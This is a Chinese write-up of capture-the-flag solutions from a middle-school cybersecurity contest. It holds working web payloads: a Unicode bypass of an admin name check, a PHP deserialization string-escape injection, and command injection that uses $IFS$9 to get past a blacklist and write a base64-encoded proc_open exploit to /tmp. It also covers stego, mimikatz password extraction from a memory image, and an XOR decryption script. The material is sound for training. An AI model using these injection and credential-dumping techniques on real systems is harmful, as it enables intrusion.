热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[第三届全国中学生网络安全竞赛初赛]WriteUp

Webnode看源码发现需要增强攻击力后打Boss(即攻击力大于Boss的HP)获得Flag:if(req.session.man.HP-req.session.boss.atta

Web

  • node

看源码发现需要增强攻击力后打Boss(即攻击力大于Boss的HP)获得Flag:

if(req.session.man.HP-req.session.boss.attack<=0)
    {
      res.send("you didn\'t kill boss at one time, so you have been killed by boss, just be stronger!");
    }

然后继续跟,在/admin路由处发现增强攻击力的代码:

if(name.toLowerCase()!=="admin"&&name.toUpperCase()==="ADMIN")
    {
      req.session.man.attack=300;
      res.send("you\'ve been stronger")
    }

重点在于这里:

name.toLowerCase()!=="admin"&&name.toUpperCase()==="ADMIN

这里考察unicode字符安全,算是一个小tirck吧,也可以百度到文章:

https://blog.5am3.com/2020/02/11/ctf-node1/

构造POST请求参数:

name=admın

请求/admin之后提示攻击力增强:

访问/boss得到Flag:

  • unserialize

第一层SQL注入的一个小Trick,fuzz一下发现过滤了很多,但是双引号和=没有过滤,构造Payload:

"="

 

 得到源码:

php
include(\'flag.php\');
error_reporting(0);
function replace($payload){
    $filter="/flag/i";
    return preg_replace($filter,"nono!",$payload);
};
$mss=$_GET[\'mss\'];
$ctf[\'mss1\']=\'webwebweb\';
$ctf[\'mss2\']=\'pwnpwnpwn\';
if(isset($mss)){
    if(strpos($mss,\'flag\')>=0){
        $ctf[\'mss1\']=$mss;
        $ctf=unserialize(replace(serialize($ctf)));
        if($ctf[\'mss2\']==="webwebweb"){
            echo $flag;
        }else{
            echo "nonono!";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

突破点在这里:

function replace($payload){
    $filter="/flag/i";
    return preg_replace($filter,"nono!",$payload);
};

这里的替换导致了字符串逃逸,思路就是利用字符串逃逸把mss2的值挤出去,构造目标mss的值,本地调一下:

php
function replace($payload){
    $filter="/flag/i";
    return preg_replace($filter,"nono!",$payload);
}; 
$ctf[\'mss1\']=\'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"mss2";s:9:"webwebweb";}\';
$ctf[\'mss2\']=\'pwnpwnpwn\'; 
var_dump(replace(serialize($ctf)));

得到payload:

mss=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"mss2";s:9:"webwebweb";}

 

  • Readme

过滤了空格,用$IFS$9替代,构造payload:

cat$IFS$9index.php

得到index.php源码:

php
    error_reporting(0);
    $blacklist=[\'sh\',\' print \',\' printf \',\' cat \',\' open \',\' read \',\' vim \',\' curl \',\' ftp \',\' glob \',\'\|\',\'`\'];
    foreach ($blacklist as $blackitem) {
    if (preg_match(\'/\'.$blackitem.\'/\',$_GET[\'a\'])) {
    die("no no no");
    }}
    system($_GET[a]);
?>

同样办法读一下根目录文件,重点在于/readflag,尝试执行发现,发现需要输入参数y,然后就考虑用php交互,测试了一下发现/tmp目录有可写权限,然后就是构造exp来执行/readflag,RCTF2020里面也有过类似的考点。

本题/readflag大概流程就是输入y,然后需要做一个加法运算。正在挨个调的时候,发现一血出了,就看了一下/tmp目录,应该是蹭了一波车,正好看到/tmp目录下有一个exp,手快保存了一下:

php
$d = array();
$d[0]=array("pipe","r");
$d[1]=array("pipe","w");
$pr=proc_open("/readflag",$d,$pipes);
fwrite($pipes[0],"y\n");
$op1=\'\';
$op2=\'\';
$inop=false;
while(1){
  $ch=stream_get_contents($pipes[1],1);
  echo $ch;
  if($ch=="+"){
    $inop=true;
  }
  if($ch=="="){
    break;
  }
  if(is_numeric($ch)){
    if($inop){
      $op2.=$ch;
    }else{
      $op1.=$ch;
    }
  }
}
fwrite($pipes[0],intval($op1)+intval($op2)."\n");
echo stream_get_contents($pipes[1]);

构造一个写入文件的命令,把这个exp用base64编码一下:

php$IFS$9-r$IFS$9\'file_put_contents("/tmp/1.php",base64_decode("PD9waHAKJGQgPSBhcnJheSgpOwokZFswXT1hcnJheSgicGlwZSIsInIiKTsKJGRbMV09YXJyYXkoInBpcGUiLCJ3Iik7CiRwcj1wcm9jX29wZW4oIi9yZWFkZmxhZyIsJGQsJHBpcGVzKTsKZndyaXRlKCRwaXBlc1swXSwieVxuIik7CiRvcDE9Jyc7CiRvcDI9Jyc7CiRpbm9wPWZhbHNlOwp3aGlsZSgxKXsKICAkY2g9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0sMSk7CiAgZWNobyAkY2g7CiAgaWYoJGNoPT0iKyIpewogICAgJGlub3A9dHJ1ZTsKICB9CiAgaWYoJGNoPT0iPSIpewogICAgYnJlYWs7CiAgfQogIGlmKGlzX251bWVyaWMoJGNoKSl7CiAgICBpZigkaW5vcCl7CiAgICAgICRvcDIuPSRjaDsKICAgIH1lbHNlewogICAgICAkb3AxLj0kY2g7CiAgICB9CiAgfQp9CmZ3cml0ZSgkcGlwZXNbMF0saW50dmFsKCRvcDEpK2ludHZhbCgkb3AyKS4iXG4iKTsKZWNobyBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7"));\'

这样exp就写进/tmp/1.php文件里了,然后用php命令执行:

php$IFS$9/tmp/1.php

得到Flag:

Misc

  • 签到题

用foremost可以分离出一张二维码:

扫描得到Flag:

  • Avicii

1.txt中文本是base64隐写,网上找来一个脚本:

def get_base64_diff_value(s1, s2):
    base64chars = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\'
    res = 0
    for i in xrange(len(s2)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res
def solve_stego(): with open(\'1.txt\', \'rb\') as f: file_lines = f.readlines() bin_str = \'\' for line in file_lines: steg_line = line.replace(\'\n\', \'\') norm_line = line.replace(\'\n\', \'\').decode(\'base64\').encode(\'base64\').replace(\'\n\', \'\') diff = get_base64_diff_value(steg_line, norm_line) print diff pads_num = steg_line.count(\'=\') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += \'0\' * pads_num * 2 print goflag(bin_str)
def goflag(bin_str): res_str = \'\' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) return res_str if __name__ == \'__main__\': solve_stego()

跑一下1.txt里面的内容得到key:doveee

再用zsteg看一下2.png可以得到隐写文本:

base64解码得到hint:\'slienteye\' is watching you~

根据hint提示在slienteye中拿base64隐写得到的key解密,得到Flag:

mssctf{Av1cii_F0rev3r!!}

 

  • 到底说了什么

内存取证题目,先用cmdscan查看命令行记录,发现一段对话,提忘记了电脑密码

直接用volatility的mimikatz插件就可以得到密码:w3lc0mE_7o-MSSCTF

filescan扫描一下发现有个key.txt和flag.txt

flag.txt是假的,然后打开看key.txt里面的内容如下,得到Key1(暂时不知道有什么用):

搜Users目录下的文件发现f_l_a_g文件:

下来发现是504B开头,用16进制解压出来得到压缩包,压缩包的密码就是前面用mimikatz出来的密码

解压得到1.eml文件,里面是各种emoji,emoji-aes加密,在https://aghorler.github.io/emoji-aes/解密即可:

先用之前得到的key1(key.txt里面的)解密消息得到hello!

然后拿hello!继续解密倒数第二条消息得到hi!

依次套娃解密下来,最终得到Flag:okhereyouare_mssctf{Y0u_@rE_5o_C1eveR!!!}

Crypto

  • easy_stream

55555555,人生中第一次做出来密码学的题,i了i了,感动完了

跟着加密流程一步一步逆,exp如下:

flag = ""


enc1 = [129, 118, 155, 13, 25, 216, 245, 11, 116, 213, 71, 73, 44, 121, 94, 200, 196, 213, 150, 108, 9, 121, 102, 215, 69, 191, 6, 27, 136, 219, 39, 152, 7, 8, 216, 149, 43, 8, 213, 166, 230, 51, 73, 133, 52, 245, 47, 139, 134, 211, 51, 82, 39, 157, 137, 137, 113, 154, 19, 49, 93, 108, 69, 102, 144, 98, 66, 140, 136, 1, 108, 55, 147, 88, 124, 124, 244, 62, 93, 53, 132, 68, 101]
enc2 = [187, 96, 132, 13, 2, 211, 253, 88, 115, 217, 19, 119, 40, 110, 68, 202, 222, 147, 174, 113, 19, 108, 119, 195, 91, 165, 1, 1, 210, 245, 43, 157, 17, 75, 205, 211, 33, 20, 201, 161, 178, 33, 77, 155, 34, 183, 15, 133, 142, 128, 38, 93, 50, 156, 196, 147, 113, 217, 10, 36, 67, 124, 66, 99, 159, 83, 74, 206, 152, 82, 117, 52, 161, 127, 63, 64, 205, 11, 99, 37, 131, 65, 108]
msg = \'mssctf\'
msg *= len(enc1) // len(msg) + 1
#print(msg)
for i in range(len(enc1)):
    enc1[i] ^= ord(msg[i])
for i in range(len(enc2)):
    enc2[i] ^= enc1[i]
for i in range(len(enc2)):
    flag += chr(enc2[i])
print(flag)

点击即送屠龙宝刀:

Welcome to Xidian University.Have a good time!The flag is mssctf{We1c0me_T0_MSSctf}


推荐阅读
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 本文比较了eBPF和WebAssembly作为云原生VM的特点和应用领域。eBPF作为运行在Linux内核中的轻量级代码执行沙箱,适用于网络或安全相关的任务;而WebAssembly作为图灵完备的语言,在商业应用中具有优势。同时,介绍了WebAssembly在Linux内核中运行的尝试以及基于LLVM的云原生WebAssembly编译器WasmEdge Runtime的案例,展示了WebAssembly作为原生应用程序的潜力。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • ZSI.generate.Wsdl2PythonError: unsupported local simpleType restriction ... [详细]
  • 众筹商城与传统商城的区别及php众筹网站的程序源码
    本文介绍了众筹商城与传统商城的区别,包括所售产品和玩法不同以及运营方式不同。同时还提到了php众筹网站的程序源码和方维众筹的安装和环境问题。 ... [详细]
  • 本文由编程笔记#小编整理,主要介绍了关于数论相关的知识,包括数论的算法和百度百科的链接。文章还介绍了欧几里得算法、辗转相除法、gcd、lcm和扩展欧几里得算法的使用方法。此外,文章还提到了数论在求解不定方程、模线性方程和乘法逆元方面的应用。摘要长度:184字。 ... [详细]
  • 分享css中提升优先级属性!important的用法总结
    web前端|css教程css!importantweb前端-css教程本文分享css中提升优先级属性!important的用法总结微信门店展示源码,vscode如何管理站点,ubu ... [详细]
  • Asp.net Mvc Framework 七 (Filter及其执行顺序) 的应用示例
    本文介绍了在Asp.net Mvc中应用Filter功能进行登录判断、用户权限控制、输出缓存、防盗链、防蜘蛛、本地化设置等操作的示例,并解释了Filter的执行顺序。通过示例代码,详细说明了如何使用Filter来实现这些功能。 ... [详细]
  • 【重识云原生】第四章云网络4.8.3.2节——Open vSwitch工作原理详解
    2OpenvSwitch架构2.1OVS整体架构ovs-vswitchd:守护程序,实现交换功能,和Linux内核兼容模块一起,实现基于流的交换flow-basedswitchin ... [详细]
  • 本文介绍了为什么要使用多进程处理TCP服务端,多进程的好处包括可靠性高和处理大量数据时速度快。然而,多进程不能共享进程空间,因此有一些变量不能共享。文章还提供了使用多进程实现TCP服务端的代码,并对代码进行了详细注释。 ... [详细]
  • JSP内置对象之application的作用范围和获取方式
    本文介绍了JSP内置对象之application的作用时间范围、可以在不同浏览器获取的特点,以及获取application对象的方法。通过示例代码展示了在JSP中设置和在servlet中获取application对象的步骤。对于学习JSP内置对象的读者来说,本文具有一定的参考价值。摘要长度为163字。 ... [详细]
  • RouterOS 5.16软路由安装图解教程
    本文介绍了如何安装RouterOS 5.16软路由系统,包括系统要求、安装步骤和登录方式。同时提供了详细的图解教程,方便读者进行操作。 ... [详细]
  • 如何在php文件中添加图片?
    本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ... [详细]
author-avatar
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有